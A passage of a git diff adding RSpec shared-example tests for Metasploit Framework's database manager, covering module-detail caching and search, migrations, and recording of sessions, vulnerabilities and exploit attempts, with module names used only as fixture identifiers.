@@ +shared_examples_for 'Msf::DBManager::Loot' do + it { is_expected.to respond_to :each_loot } + it { is_expected.to respond_to :find_or_create_loot } + it { is_expected.to respond_to :loots } + it { is_expected.to respond_to :report_loot } +end \ No newline at end of file diff --git a/spec/support/shared/examples/msf/db_manager/migration.rb b/spec/support/shared/examples/msf/db_manager/migration.rb index 1bdcbe44c1..437411b91c 100644 --- a/spec/support/shared/examples/msf/db_manager/migration.rb +++ b/spec/support/shared/examples/msf/db_manager/migration.rb @@ -1,17 +1,30 @@ shared_examples_for 'Msf::DBManager::Migration' do it { should be_a Msf::DBManager::Migration } + + context '#add_rails_engine_migration_paths' do + def add_rails_engine_migration_paths + db_manager.add_rails_engine_migration_paths + end + + it 'should not add duplicate paths to ActiveRecord::Migrator.migrations_paths' do + add_rails_engine_migration_paths + + expect { + add_rails_engine_migration_paths + }.to_not change { + ActiveRecord::Migrator.migrations_paths.length + } + + ActiveRecord::Migrator.migrations_paths.uniq.should == ActiveRecord::Migrator.migrations_paths + end + end + context '#migrate' do def migrate db_manager.migrate end - it 'should create a connection' do - ActiveRecord::Base.connection_pool.should_receive(:with_connection).twice - - migrate - end - it 'should call ActiveRecord::Migrator.migrate' do ActiveRecord::Migrator.should_receive(:migrate).with( ActiveRecord::Migrator.migrations_paths @@ -140,4 +153,4 @@ shared_examples_for 'Msf::DBManager::Migration' do reset_column_information end end -end \ No newline at end of file +end diff --git a/spec/support/shared/examples/msf/db_manager/module_cache.rb b/spec/support/shared/examples/msf/db_manager/module_cache.rb new file mode 100644 index 0000000000..c2839a97de --- /dev/null +++ b/spec/support/shared/examples/msf/db_manager/module_cache.rb @@ -0,0 +1,1119 @@ +shared_examples_for 'Msf::DBManager::ModuleCache' do + it { is_expected.to respond_to :match_values } + it { is_expected.to respond_to :module_to_details_hash } + it { is_expected.to respond_to :modules_cached } + it { is_expected.to respond_to :modules_cached= } + it { is_expected.to respond_to :modules_caching } + it { is_expected.to respond_to :modules_caching= } + + context '#purge_all_module_details' do + def purge_all_module_details + db_manager.purge_all_module_details + end + + let(:migrated) do + false + end + + let(:module_detail_count) do + 2 + end + + let!(:module_details) do + FactoryGirl.create_list( + :mdm_module_detail, + module_detail_count + ) + end + + before(:each) do + db_manager.stub(:migrated => migrated) + end + + context 'with migrated' do + let(:migrated) do + true + end + + let(:modules_caching) do + false + end + + before(:each) do + db_manager.stub(:modules_caching => modules_caching) + end + + context 'with modules_caching' do + let(:modules_caching) do + true + end + + it 'should not destroy Mdm::Module::Details' do + expect { + purge_all_module_details + }.to_not change(Mdm::Module::Detail, :count) + end + end + + context 'without modules_caching' do + it 'should destroy all Mdm::Module::Details' do + expect { + purge_all_module_details + }.to change(Mdm::Module::Detail, :count).by(-module_detail_count) + end + end + end + + context 'without migrated' do + it 'should not destroy Mdm::Module::Details' do + expect { + purge_all_module_details + }.to_not change(Mdm::Module::Detail, :count) + end + end + end + + context '#remove_module_details' do + def remove_module_details + db_manager.remove_module_details(mtype, refname) + end + + let(:migrated) do + false + end + + let(:mtype) do + FactoryGirl.generate :mdm_module_detail_mtype + end + + let(:refname) do + FactoryGirl.generate :mdm_module_detail_refname + end + + let!(:module_detail) do + FactoryGirl.create( + :mdm_module_detail + ) + end + + before(:each) do + db_manager.stub(:migrated => migrated) + end + + context 'with migrated' do + let(:migrated) do + true + end + + let!(:module_detail) do + FactoryGirl.create(:mdm_module_detail) + end + + context 'with matching Mdm::Module::Detail' do + let(:mtype) do + module_detail.mtype + end + + let(:refname) do + module_detail.refname + end + + it 'should destroy Mdm::Module::Detail' do + expect { + remove_module_details + }.to change(Mdm::Module::Detail, :count).by(-1) + end + end + + context 'without matching Mdm::Module::Detail' do + it 'should not destroy Mdm::Module::Detail' do + expect { + remove_module_details + }.to_not change(Mdm::Module::Detail, :count) + end + end + end + + context 'without migrated' do + it 'should not destroy Mdm::Module::Detail' do + expect { + remove_module_details + }.to_not change(Mdm::Module::Detail, :count) + end + end + end + + context '#search_modules' do + subject(:search_modules) do + db_manager.search_modules(search_string) + end + + let(:module_details) do + search_modules.to_a + end + + context 'with app keyword' do + let(:search_string) do + "app:#{app}" + end + + before(:each) do + Mdm::Module::Detail::STANCES.each do |stance| + FactoryGirl.create(:mdm_module_detail, :stance => stance) + end + end + + context 'with client' do + let(:app) do + 'client' + end + + it "should match Mdm::Module::Detail#stance 'passive'" do + module_details.count.should > 0 + + module_details.all? { |module_detail| + module_detail.stance == 'passive' + }.should be_truthy + end + end + + context 'with server' do + let(:app) do + 'server' + end + + it "should match Mdm::Module::Detail#stance 'aggressive'" do + module_details.count.should > 0 + + module_details.all? { |module_detail| + module_detail.stance == 'aggressive' + }.should be_truthy + end + end + end + + context 'with author keyword' do + let(:search_string) do + # us inspect so strings with spaces are quoted correctly + "author:#{author}" + end + + let!(:module_authors) do + FactoryGirl.create_list(:mdm_module_author, 2) + end + + let(:target_module_author) do + module_authors.first + end + + context 'with Mdm::Module::Author#email' do + let(:author) do + target_module_author.email + end + + it 'should match Mdm::Module::Author#email' do + module_details.count.should > 0 + + module_details.all? { |module_detail| + module_detail.authors.any? { |module_author| + module_author.email == target_module_author.email + } + }.should be_truthy + end + end + + context 'with Mdm::Module::Author#name' do + let(:author) do + # use inspect to quote space in name + target_module_author.name.inspect + end + + it 'should match Mdm::Module::Author#name' do + module_details.count.should > 0 + + module_details.all? { |module_detail| + module_detail.authors.any? { |module_author| + module_author.name == target_module_author.name + } + }.should be_truthy + end + end + end + + it_should_behave_like 'Msf::DBManager#search_modules Mdm::Module::Ref#name keyword', :bid + it_should_behave_like 'Msf::DBManager#search_modules Mdm::Module::Ref#name keyword', :cve + it_should_behave_like 'Msf::DBManager#search_modules Mdm::Module::Ref#name keyword', :edb + + context 'with name keyword' do + let(:search_string) do + "name:#{name}" + end + + let!(:existing_module_details) do + FactoryGirl.create_list(:mdm_module_detail, 2) + end + + let(:target_module_detail) do + existing_module_details.first + end + + context 'with Mdm::Module::Detail#fullname' do + let(:name) do + target_module_detail.fullname + end + + it 'should match Mdm::Module::Detail#fullname' do + module_details.count.should > 0 + + module_details.all? { |module_detail| + module_detail.fullname == target_module_detail.fullname + }.should be_truthy + end + end + + context 'with Mdm::Module::Detail#name' do + let(:name) do + # use inspect so spaces are inside quotes + target_module_detail.name.inspect + end + + it 'should match Mdm::Module::Detail#name' do + module_details.count.should > 0 + + module_details.all? { |module_detail| + module_detail.name == target_module_detail.name + }.should be_truthy + end + end + end + + it_should_behave_like 'Msf::DBManager#search_modules Mdm::Module::Platform#name or Mdm::Module::Target#name keyword', :os + + it_should_behave_like 'Msf::DBManager#search_modules Mdm::Module::Ref#name keyword', :osvdb + + it_should_behave_like 'Msf::DBManager#search_modules Mdm::Module::Platform#name or Mdm::Module::Target#name keyword', :platform + + context 'with ref keyword' do + let(:ref) do + FactoryGirl.generate :mdm_module_ref_name + end + + let(:search_string) do + # use inspect to quote spaces in string + "ref:#{ref.inspect}" + end + + let!(:module_ref) do + FactoryGirl.create(:mdm_module_ref) + end + + context 'with Mdm::Module::Ref#name' do + let(:ref) do + module_ref.name + end + + it 'should match Mdm::Module::Ref#name' do + module_details.count.should > 0 + + module_details.all? { |module_detail| + module_detail.refs.any? { |module_ref| + module_ref.name == ref + } + }.should be_truthy + end + end + + context 'without Mdm::Module::Ref#name' do + it 'should not match Mdm::Module::Ref#name' do + module_details.count.should == 0 + end + end + end + + context 'with type keyword' do + let(:type) do + FactoryGirl.generate :mdm_module_detail_mtype + end + + let(:search_string) do + "type:#{type}" + end + + let(:target_module_detail) do + all_module_details.first + end + + let!(:all_module_details) do + FactoryGirl.create_list(:mdm_module_detail, 2) + end + + context 'with Mdm::Module::Ref#name' do + let(:type) do + target_module_detail.mtype + end + + it 'should match Mdm::Module::Detail#mtype' do + module_details.count.should > 0 + + module_details.all? { |module_detail| + module_detail.mtype == type + }.should be_truthy + end + end + + context 'without Mdm::Module::Detail#mtype' do + it 'should not match Mdm::Module::Detail#mtype' do + module_details.count.should == 0 + end + end + end + + context 'without keyword' do + context 'with Mdm::Module::Action#name' do + let(:search_string) do + module_action.name + end + + let!(:module_action) do + FactoryGirl.create(:mdm_module_action) + end + + it 'should match Mdm::Module::Action#name' do + module_details.count.should > 0 + + module_details.all? { |module_detail| + module_detail.actions.any? { |module_action| + module_action.name == search_string + } + }.should be_truthy + end + end + + context 'with Mdm::Module::Arch#name' do + let(:search_string) do + module_arch.name + end + + let!(:module_arch) do + FactoryGirl.create(:mdm_module_arch) + end + + it 'should match Mdm::Module::Arch#name' do + module_details.count.should > 0 + + module_details.all? { |module_detail| + module_detail.archs.any? { |module_arch| + module_arch.name == search_string + } + }.should be_truthy + end + end + + context 'with Mdm::Module::Author#name' do + let(:search_string) do + module_author.name + end + + let!(:module_author) do + FactoryGirl.create(:mdm_module_author) + end + + it 'should match Mdm::Module::Author#name' do + module_details.count.should > 0 + + module_details.all? { |module_detail| + module_detail.authors.any? { |module_author| + module_author.name == search_string + } + }.should be_truthy + end + end + + context 'with Mdm::Module::Detail' do + let(:target_module_detail) do + all_module_details.first + end + + let!(:all_module_details) do + FactoryGirl.create_list(:mdm_module_detail, 3) + end + + context 'with #description' do + let(:search_string) do + # use inspect to quote spaces in string + target_module_detail.description.inspect + end + + it 'should match Mdm::Module::Detail#description' do + module_details.count.should == 1 + + module_details.all? { |module_detail| + module_detail.description == target_module_detail.description + }.should be_truthy + end + end + + context 'with #fullname' do + let(:search_string) do + target_module_detail.fullname + end + + it 'should match Mdm::Module::Detail#fullname' do + module_details.count.should == 1 + + module_details.all? { |module_detail| + module_detail.fullname == search_string + }.should be_truthy + end + end + + context 'with #name' do + let(:search_string) do + # use inspect to quote spaces in string + target_module_detail.name.inspect + end + + it 'should match Mdm::Module::Detail#name' do + module_details.count.should == 1 + + module_details.all? { |module_detail| + module_detail.name == target_module_detail.name + }.should be_truthy + end + end + end + + context 'with Mdm::Module::Platform#name' do + let(:search_string) do + module_platform.name + end + + let!(:module_platform) do + FactoryGirl.create(:mdm_module_platform) + end + + it 'should match Mdm::Module::Platform#name' do + module_details.count.should > 0 + + module_details.all? { |module_detail| + module_detail.platforms.any? { |module_platform| + module_platform.name == search_string + } + }.should be_truthy + end + end + + context 'with Mdm::Module::Ref#name' do + let(:search_string) do + module_ref.name + end + + let!(:module_ref) do + FactoryGirl.create(:mdm_module_ref) + end + + it 'should match Mdm::Module::Ref#name' do + module_details.count.should > 0 + + module_details.all? { |module_detail| + module_detail.refs.any? { |module_ref| + module_ref.name == search_string + } + }.should be_truthy + end + end + + context 'with Mdm::Module::Target#name' do + let(:search_string) do + module_target.name + end + + let!(:module_target) do + FactoryGirl.create(:mdm_module_target) + end + + it 'should match Mdm::Module::Target#name' do + module_details.count.should > 0 + + module_details.all? { |module_detail| + module_detail.targets.any? { |module_target| + module_target.name == search_string + } + }.should be_truthy + end + end + end + end + + context '#update_all_module_details' do + def update_all_module_details + db_manager.update_all_module_details + end + + let(:migrated) do + false + end + + before(:each) do + db_manager.stub(:migrated => migrated) + end + + context 'with migrated' do + let(:migrated) do + true + end + + let(:modules_caching) do + true + end + + before(:each) do + db_manager.stub(:modules_caching => modules_caching) + end + + context 'with modules_caching' do + it 'should not update module details' do + db_manager.should_not_receive(:update_module_details) + + update_all_module_details + end + end + + context 'without modules_caching' do + let(:modules_caching) do + false + end + + it 'should set framework.cache_thread to current thread and then nil' do + framework.should_receive(:cache_thread=).with(Thread.current).ordered + framework.should_receive(:cache_thread=).with(nil).ordered + + update_all_module_details + end + + it 'should set modules_cached to false and then true' do + db_manager.should_receive(:modules_cached=).with(false).ordered + db_manager.should_receive(:modules_cached=).with(true).ordered + + update_all_module_details + end + + it 'should set modules_caching to true and then false' do + db_manager.should_receive(:modules_caching=).with(true).ordered + db_manager.should_receive(:modules_caching=).with(false).ordered + + update_all_module_details + end + + context 'with Mdm::Module::Details' do + let(:module_pathname) do + parent_pathname.join( + 'exploits', + "#{reference_name}.rb" + ) + end + + let(:modification_time) do + module_pathname.mtime + end + + let(:parent_pathname) do + Metasploit::Framework.root.join('modules') + end + + let(:reference_name) do + 'windows/smb/ms08_067_netapi' + end + + let(:type) do + 'exploit' + end + + let!(:module_detail) do + # needs to reference a real module so that it can be loaded + FactoryGirl.create( + :mdm_module_detail, + :file => module_pathname.to_path, + :mtime => modification_time, + :mtype => type, + :ready => ready, + :refname => reference_name + ) + end + + context '#ready' do + context 'false' do + let(:ready) do + false + end + + it_should_behave_like 'Msf::DBManager#update_all_module_details refresh' + end + + context 'true' do + let(:ready) do + true + end + + context 'with existing Mdm::Module::Detail#file' do + context 'with same Mdm::Module::Detail#mtime and File.mtime' do + it 'should not update module details' do + db_manager.should_not_receive(:update_module_details) + + update_all_module_details + end + end + + context 'without same Mdm::Module::Detail#mtime and File.mtime' do + let(:modification_time) do + # +1 as rand can return 0 and the time must be different for + # this context. + super() - (rand(1.day) + 1) + end + + it_should_behave_like 'Msf::DBManager#update_all_module_details refresh' + end + end + + # Emulates a module being removed or renamed + context 'without existing Mdm::Module::Detail#file' do + # have to compute modification manually since the + # `module_pathname` refers to a non-existent file and + # `module_pathname.mtime` would error. + let(:modification_time) do + Time.now.utc - 1.day + end + + let(:module_pathname) do + parent_pathname.join('exploits', 'deleted.rb') + end + + it 'should not update module details' do + db_manager.should_not_receive(:update_module_details) + + update_all_module_details + end + end + end + end + end + end + end + + context 'without migrated' do + it 'should not update module details' do + db_manager.should_not_receive(:update_module_details) + + update_all_module_details + end + end + end + + context '#update_module_details' do + def update_module_details + db_manager.update_module_details(module_instance) + end + + let(:loader) do + loader = framework.modules.send(:loaders).find { |loader| + loader.loadable?(parent_path) + } + + # Override load_error so that rspec will print it instead of going to framework log + def loader.load_error(module_path, error) + raise error + end + + loader + end + + let(:migrated) do + false + end + + let(:module_instance) do + # make sure the module is loaded into the module_set + loaded = loader.load_module(parent_path, module_type, module_reference_name) + + unless loaded + module_path = loader.module_path(parent_path, type, module_reference_name) + + fail "#{description} failed to load: #{module_path}" + end + + module_set.create(module_reference_name) + end + + let(:module_set) do + framework.modules.module_set(module_type) + end + + let(:module_type) do + 'exploit' + end + + let(:module_reference_name) do + 'windows/smb/ms08_067_netapi' + end + + let(:parent_path) do + parent_pathname.to_path + end + + let(:parent_pathname) do + Metasploit::Framework.root.join('modules') + end + + let(:type_directory) do + 'exploits' + end + + before(:each) do + db_manager.stub(:migrated => migrated) + end + + context 'with migrated' do + let(:migrated) do + true + end + + it 'should call module_to_details_hash to get Mdm::Module::Detail attributes and association attributes' do + db_manager.should_receive(:module_to_details_hash).and_call_original + + update_module_details + end + + it 'should create an Mdm::Module::Detail' do + expect { + update_module_details + }.to change(Mdm::Module::Detail, :count).by(1) + end + + + context 'module_to_details_hash' do + let(:module_to_details_hash) do + { + :mtype => module_type, + :privileged => privileged, + :rank => rank, + :refname => module_reference_name, + :stance => stance + } + end + + let(:privileged) do + FactoryGirl.generate :mdm_module_detail_privileged + end + + let(:rank) do + FactoryGirl.generate :mdm_module_detail_rank + end + + let(:stance) do + FactoryGirl.generate :mdm_module_detail_stance + end + + before(:each) do + db_manager.stub( + :module_to_details_hash + ).with( + module_instance + ).and_return( + module_to_details_hash + ) + end + + context 'Mdm::Module::Detail' do + subject(:module_detail) do + Mdm::Module::Detail.last + end + + before(:each) do + update_module_details + end + + it { expect(subject.mtype).to eq(module_type) } + it { expect(subject.privileged).to eq(privileged) } + it { expect(subject.rank).to eq(rank) } + it { expect(subject.ready).to be_truthy } + it { expect(subject.refname).to eq(module_reference_name) } + it { expect(subject.stance).to eq(stance) } + end + + context 'with :bits' do + let(:bits) do + [] + end + + before(:each) do + module_to_details_hash[:bits] = bits + end + + context 'with :action' do + let(:name) do + FactoryGirl.generate :mdm_module_action_name + end + + let(:bits) do + super() << [ + :action, + { + :name => name + } + ] + end + + it 'should create an Mdm::Module::Action' do + expect { + update_module_details + }.to change(Mdm::Module::Action, :count).by(1) + end + + context 'Mdm::Module::Action' do + subject(:module_action) do + module_detail.actions.last + end + + let(:module_detail) do + Mdm::Module::Detail.last + end + + before(:each) do + update_module_details + end + + it { expect(subject.name).to eq(name) } + end + end + + context 'with :arch' do + let(:name) do + FactoryGirl.generate :mdm_module_arch_name + end + + let(:bits) do + super() << [ + :arch, + { + :name => name + } + ] + end + + it 'should create an Mdm::Module::Arch' do + expect { + update_module_details + }.to change(Mdm::Module::Arch, :count).by(1) + end + + context 'Mdm::Module::Arch' do + subject(:module_arch) do + module_detail.archs.last + end + + let(:module_detail) do + Mdm::Module::Detail.last + end + + before(:each) do + update_module_details + end + + it { expect(subject.name).to eq(name) } + end + end + + context 'with :author' do + let(:email) do + FactoryGirl.generate :mdm_module_author_email + end + + let(:name) do + FactoryGirl.generate :mdm_module_author_name + end + + let(:bits) do + super() << [ + :author, + { + :email => email, + :name => name + } + ] + end + + it 'should create an Mdm::Module::Author' do + expect { + update_module_details + }.to change(Mdm::Module::Author, :count).by(1) + end + + context 'Mdm::Module::Author' do + subject(:module_author) do + module_detail.authors.last + end + + let(:module_detail) do + Mdm::Module::Detail.last + end + + before(:each) do + update_module_details + end + + it { expect(subject.name).to eq(name) } + it { expect(subject.email).to eq(email) } + end + end + + context 'with :platform' do + let(:bits) do + super() << [ + :platform, + { + :name => name + } + ] + end + + let(:name) do + FactoryGirl.generate :mdm_module_platform_name + end + + it 'should create an Mdm::Module::Platform' do + expect { + update_module_details + }.to change(Mdm::Module::Platform, :count).by(1) + end + + context 'Mdm::Module::Platform' do + subject(:module_platform) do + module_detail.platforms.last + end + + let(:module_detail) do + Mdm::Module::Detail.last + end + + before(:each) do + update_module_details + end + + it { expect(subject.name).to eq(name) } + end + end + + context 'with :ref' do + let(:bits) do + super() << [ + :ref, + { + :name => name + } + ] + end + + let(:name) do + FactoryGirl.generate :mdm_module_ref_name + end + + it 'should create an Mdm::Module::Ref' do + expect { + update_module_details + }.to change(Mdm::Module::Ref, :count).by(1) + end + + context 'Mdm::Module::Ref' do + subject(:module_ref) do + module_detail.refs.last + end + + let(:module_detail) do + Mdm::Module::Detail.last + end + + before(:each) do + update_module_details + end + + it { expect(subject.name).to eq(name) } + end + end + + context 'with :target' do + let(:bits) do + super() << [ + :target, + { + :index => index, + :name => name + } + ] + end + + let(:index) do + FactoryGirl.generate :mdm_module_target_index + end + + let(:name) do + FactoryGirl.generate :mdm_module_target_name + end + + it 'should create an Mdm::Module::Target' do + expect { + update_module_details + }.to change(Mdm::Module::Target, :count).by(1) + end + + context 'Mdm::Module::Target' do + subject(:module_target) do + module_detail.targets.last + end + + let(:module_detail) do + Mdm::Module::Detail.last + end + + before(:each) do + update_module_details + end + + it { expect(subject.index).to eq(index) } + it { expect(subject.name).to eq(name) } + end + end + end + end + + it_should_behave_like 'Msf::DBManager#update_module_details with module', + :reference_name => 'admin/2wire/xslt_password_reset', + :type => 'auxiliary' + + it_should_behave_like 'Msf::DBManager#update_module_details with module', + :reference_name => 'generic/none', + :type => 'encoder' + + it_should_behave_like 'Msf::DBManager#update_module_details with module', + :reference_name => 'windows/smb/ms08_067_netapi', + :type => 'exploit' + + it_should_behave_like 'Msf::DBManager#update_module_details with module', + :reference_name => 'x64/simple', + :type => 'nop' + + # @todo determine how to load a single payload to test payload type outside of msfconsole + + it_should_behave_like 'Msf::DBManager#update_module_details with module', + :reference_name => 'windows/escalate/screen_unlock', + :type => 'post' + end + + context 'without migrated' do + it 'should not create an Mdm::Module::Detail' do + expect { + update_module_details + }.to_not change(Mdm::Module::Detail, :count) + end + end + end +end \ No newline at end of file diff --git a/spec/support/shared/examples/msf/db_manager/note.rb b/spec/support/shared/examples/msf/db_manager/note.rb new file mode 100644 index 0000000000..d122bfc1c2 --- /dev/null +++ b/spec/support/shared/examples/msf/db_manager/note.rb @@ -0,0 +1,6 @@ +shared_examples_for 'Msf::DBManager::Note' do + it { is_expected.to respond_to :each_note } + it { is_expected.to respond_to :find_or_create_note } + it { is_expected.to respond_to :notes } + it { is_expected.to respond_to :report_note } +end \ No newline at end of file diff --git a/spec/support/shared/examples/msf/db_manager/ref.rb b/spec/support/shared/examples/msf/db_manager/ref.rb new file mode 100644 index 0000000000..28d4fa4c39 --- /dev/null +++ b/spec/support/shared/examples/msf/db_manager/ref.rb @@ -0,0 +1,5 @@ +shared_examples_for 'Msf::DBManager::Ref' do + it { is_expected.to respond_to :find_or_create_ref } + it { is_expected.to respond_to :get_ref } + it { is_expected.to respond_to :has_ref? } +end \ No newline at end of file diff --git a/spec/support/shared/examples/msf/db_manager/report.rb b/spec/support/shared/examples/msf/db_manager/report.rb new file mode 100644 index 0000000000..575df97849 --- /dev/null +++ b/spec/support/shared/examples/msf/db_manager/report.rb @@ -0,0 +1,6 @@ +shared_examples_for 'Msf::DBManager::Report' do + it { is_expected.to respond_to :find_or_create_report } + it { is_expected.to respond_to :report_artifact } + it { is_expected.to respond_to :report_report } + it { is_expected.to respond_to :reports } +end \ No newline at end of file diff --git a/spec/support/shared/examples/msf/db_manager/route.rb b/spec/support/shared/examples/msf/db_manager/route.rb new file mode 100644 index 0000000000..e3d1212a2e --- /dev/null +++ b/spec/support/shared/examples/msf/db_manager/route.rb @@ -0,0 +1,4 @@ +shared_examples_for 'Msf::DBManager::Route' do + it { is_expected.to respond_to :report_session_route } + it { is_expected.to respond_to :report_session_route_remove } +end \ No newline at end of file diff --git a/spec/support/shared/examples/msf/db_manager/search_modules/mdm_module_platform_name_or_mdm_module_target_name_keyword.rb b/spec/support/shared/examples/msf/db_manager/search_modules/mdm_module_platform_name_or_mdm_module_target_name_keyword.rb index 72fbe69f84..ee7aa479bb 100644 --- a/spec/support/shared/examples/msf/db_manager/search_modules/mdm_module_platform_name_or_mdm_module_target_name_keyword.rb +++ b/spec/support/shared/examples/msf/db_manager/search_modules/mdm_module_platform_name_or_mdm_module_target_name_keyword.rb @@ -25,13 +25,13 @@ shared_examples_for 'Msf::DBManager#search_modules Mdm::Module::Platform#name or module_detail.platforms.any? { |module_platform| module_platform.name == self.module_platform.name } - }.should be_true + }.should be_truthy end end context 'with Mdm::Module::Target#name' do let(:name) do - # use inspect to quote spaces in string + # use inspect to quote spaces in string module_target.name.inspect end @@ -42,8 +42,8 @@ shared_examples_for 'Msf::DBManager#search_modules Mdm::Module::Platform#name or module_detail.targets.any? { |module_target| module_target.name == self.module_target.name } - }.should be_true + }.should be_truthy end end end -end \ No newline at end of file +end diff --git a/spec/support/shared/examples/msf/db_manager/search_modules/mdm_module_ref_name_keyword.rb b/spec/support/shared/examples/msf/db_manager/search_modules/mdm_module_ref_name_keyword.rb index 7c9edb2002..30d7d943fd 100644 --- a/spec/support/shared/examples/msf/db_manager/search_modules/mdm_module_ref_name_keyword.rb +++ b/spec/support/shared/examples/msf/db_manager/search_modules/mdm_module_ref_name_keyword.rb @@ -31,7 +31,7 @@ shared_examples_for 'Msf::DBManager#search_modules Mdm::Module::Ref#name keyword module_detail.refs.any? { |module_ref| module_ref.name == name } - }.should be_true + }.should be_truthy end end @@ -41,4 +41,4 @@ shared_examples_for 'Msf::DBManager#search_modules Mdm::Module::Ref#name keyword end end end -end \ No newline at end of file +end diff --git a/spec/support/shared/examples/msf/db_manager/service.rb b/spec/support/shared/examples/msf/db_manager/service.rb new file mode 100644 index 0000000000..df24b93ae5 --- /dev/null +++ b/spec/support/shared/examples/msf/db_manager/service.rb @@ -0,0 +1,8 @@ +shared_examples_for 'Msf::DBManager::Service' do + it { is_expected.to respond_to :del_service } + it { is_expected.to respond_to :each_service } + it { is_expected.to respond_to :find_or_create_service } + it { is_expected.to respond_to :get_service } + it { is_expected.to respond_to :report_service } + it { is_expected.to respond_to :services } +end \ No newline at end of file diff --git a/spec/support/shared/examples/msf/db_manager/session.rb b/spec/support/shared/examples/msf/db_manager/session.rb new file mode 100644 index 0000000000..a471ebcaf2 --- /dev/null +++ b/spec/support/shared/examples/msf/db_manager/session.rb @@ -0,0 +1,642 @@ +shared_examples_for 'Msf::DBManager::Session' do + it { is_expected.to respond_to :get_session } + + context '#report_session' do + let(:options) do + {} + end + + subject(:report_session) do + db_manager.report_session(options) + end + + context 'with active' do + let(:active) do + true + end + + context 'with :session' do + before(:each) do + options[:session] = session + end + + context 'with Msf::Session' do + let(:exploit_datastore) do + Msf::ModuleDataStore.new(module_instance).tap do |datastore| + datastore['ParentModule'] = parent_module_fullname + + remote_port = rand(2 ** 16 - 1) + datastore['RPORT'] = remote_port + end + end + + let(:host) do + FactoryGirl.create(:mdm_host, :workspace => session_workspace) + end + + let(:module_instance) do + name = 'multi/handler' + + double( + 'Msf::Module', + :fullname => "exploit/#{name}", + :framework => framework, + :name => name + ) + end + + let(:options_workspace) do + FactoryGirl.create(:mdm_workspace) + end + + let(:parent_module_fullname) do + "exploit/#{parent_module_name}" + end + + let(:parent_module_name) do + 'windows/smb/ms08_067_netapi' + end + + let(:parent_path) do + Metasploit::Framework.root.join('modules').to_path + end + + let(:session) do + session_class.new.tap do |session| + session.exploit_datastore = exploit_datastore + session.info = 'Info' + session.platform = 'Platform' + session.session_host = host.address + session.sid = rand(100) + session.type = 'Session Type' + session.via_exploit = 'exploit/multi/handler' + session.via_payload = 'payload/single/windows/metsvc_bind_tcp' + session.workspace = session_workspace.name + end + end + + let(:session_class) do + Class.new do + include Msf::Session + + attr_accessor :datastore + attr_accessor :platform + attr_accessor :type + attr_accessor :via_exploit + attr_accessor :via_payload + end + end + + let(:session_workspace) do + FactoryGirl.create(:mdm_workspace) + end + + before(:each) do + reference_name = 'multi/handler' + path = File.join(parent_path, 'exploits', reference_name) + + # fake cache data for exploit/multi/handler so it can be loaded + framework.modules.send( + :module_info_by_path=, + { + path => + { + :parent_path => parent_path, + :reference_name => reference_name, + :type => 'exploit', + } + } + ) + + FactoryGirl.create( + :mdm_module_detail, + :fullname => parent_module_fullname, + :name => parent_module_name + ) + end + + context 'with :workspace' do + before(:each) do + options[:workspace] = options_workspace + end + + it 'should not find workspace from session' do + db_manager.should_not_receive(:find_workspace) + + report_session + end + end + + context 'without :workspace' do + it 'should find workspace from session' do + db_manager.should_receive(:find_workspace).with(session.workspace).and_call_original + + report_session + end + + it 'should pass session.workspace to #find_or_create_host' do + db_manager.should_receive(:find_or_create_host).with( + hash_including( + :workspace => session_workspace + ) + ).and_return(host) + + report_session + end + end + + context 'with workspace from either :workspace or session' do + it 'should pass normalized host from session as :host to #find_or_create_host' do + normalized_host = double('Normalized Host') + db_manager.stub(:normalize_host).with(session).and_return(normalized_host) + # stub report_vuln so its use of find_or_create_host and normalize_host doesn't interfere. + db_manager.stub(:report_vuln) + + db_manager.should_receive(:find_or_create_host).with( + hash_including( + :host => normalized_host + ) + ).and_return(host) + + report_session + end + + context 'with session responds to arch' do + let(:arch) do + FactoryGirl.generate :mdm_host_arch + end + + before(:each) do + session.stub(:arch => arch) + end + + it 'should pass :arch to #find_or_create_host' do + db_manager.should_receive(:find_or_create_host).with( + hash_including( + :arch => arch + ) + ).and_call_original + + report_session + end + end + + context 'without session responds to arch' do + it 'should not pass :arch to #find_or_create_host' do + db_manager.should_receive(:find_or_create_host).with( + hash_excluding( + :arch + ) + ).and_call_original + + report_session + end + end + + it 'should create an Mdm::Session' do + expect { + report_session + }.to change(Mdm::Session, :count).by(1) + end + + it { should be_an Mdm::Session } + + it 'should set session.db_record to created Mdm::Session' do + mdm_session = report_session + + session.db_record.should == mdm_session + end + + context 'with session.via_exploit' do + it 'should create session.via_exploit module' do + framework.modules.should_receive(:create).with(session.via_exploit).and_call_original + + report_session + end + + it 'should create Mdm::Vuln' do + expect { + report_session + }.to change(Mdm::Vuln, :count).by(1) + end + + context 'created Mdm::Vuln' do + let(:mdm_session) do + Mdm::Session.last + end + + let(:rport) do + nil + end + + before(:each) do + Timecop.freeze + + session.exploit_datastore['RPORT'] = rport + + report_session + end + + after(:each) do + Timecop.return + end + + subject(:vuln) do + Mdm::Vuln.last + end + + it { expect(subject.host).to eq(Mdm::Host.last) } + it { expect(subject.refs).to eq([]) } + it { expect(subject.exploited_at).to be_within(1.second).of(Time.now.utc) } + + context "with session.via_exploit 'exploit/multi/handler'" do + context "with session.exploit_datastore['ParentModule']" do + it { expect(subject.info).to eq("Exploited by #{parent_module_fullname} to create Session #{mdm_session.id}") } + it { expect(subject.name).to eq(parent_module_name) } + end + end + + context "without session.via_exploit 'exploit/multi/handler'" do + let(:reference_name) do + 'windows/smb/ms08_067_netapi' + end + + before(:each) do + path = File.join( + parent_path, + 'exploits', + "#{reference_name}.rb" + ) + type = 'exploit' + + # fake cache data for ParentModule so it can be loaded + framework.modules.send( + :module_info_by_path=, + { + path => + { + :parent_path => parent_path, + :reference_name => reference_name, + :type => type, + } + } + ) + + session.via_exploit = "#{type}/#{reference_name}" + end + + it { expect(subject.info).to eq("Exploited by #{session.via_exploit} to create Session #{mdm_session.id}") } + it { expect(subject.name).to eq(reference_name) } + end + + context 'with RPORT' do + let(:rport) do + # use service.port instead of having service use rport so + # that service is forced to exist before call to + # report_service, which happens right after using rport in + # outer context's before(:each) + service.port + end + + let(:service) do + FactoryGirl.create( + :mdm_service, + :host => host + ) + end + + it { expect(subject.service).to eq(service) } + end + + context 'without RPORT' do + it { expect(subject.service).to be_nil } + end + end + + context 'created Mdm::ExploitAttempt' do + let(:rport) do + nil + end + + before(:each) do + Timecop.freeze + + session.exploit_datastore['RPORT'] = rport + + report_session + end + + after(:each) do + Timecop.return + end + + subject(:exploit_attempt) do + Mdm::ExploitAttempt.last + end + + it { expect(subject.attempted_at).to be_within(1.second).of(Time.now.utc) } + # @todo https://www.pivotaltracker.com/story/show/48362615 + it { expect(subject.session_id).to eq(Mdm::Session.last.id) } + it { expect(subject.exploited).to be_truthy } + # @todo 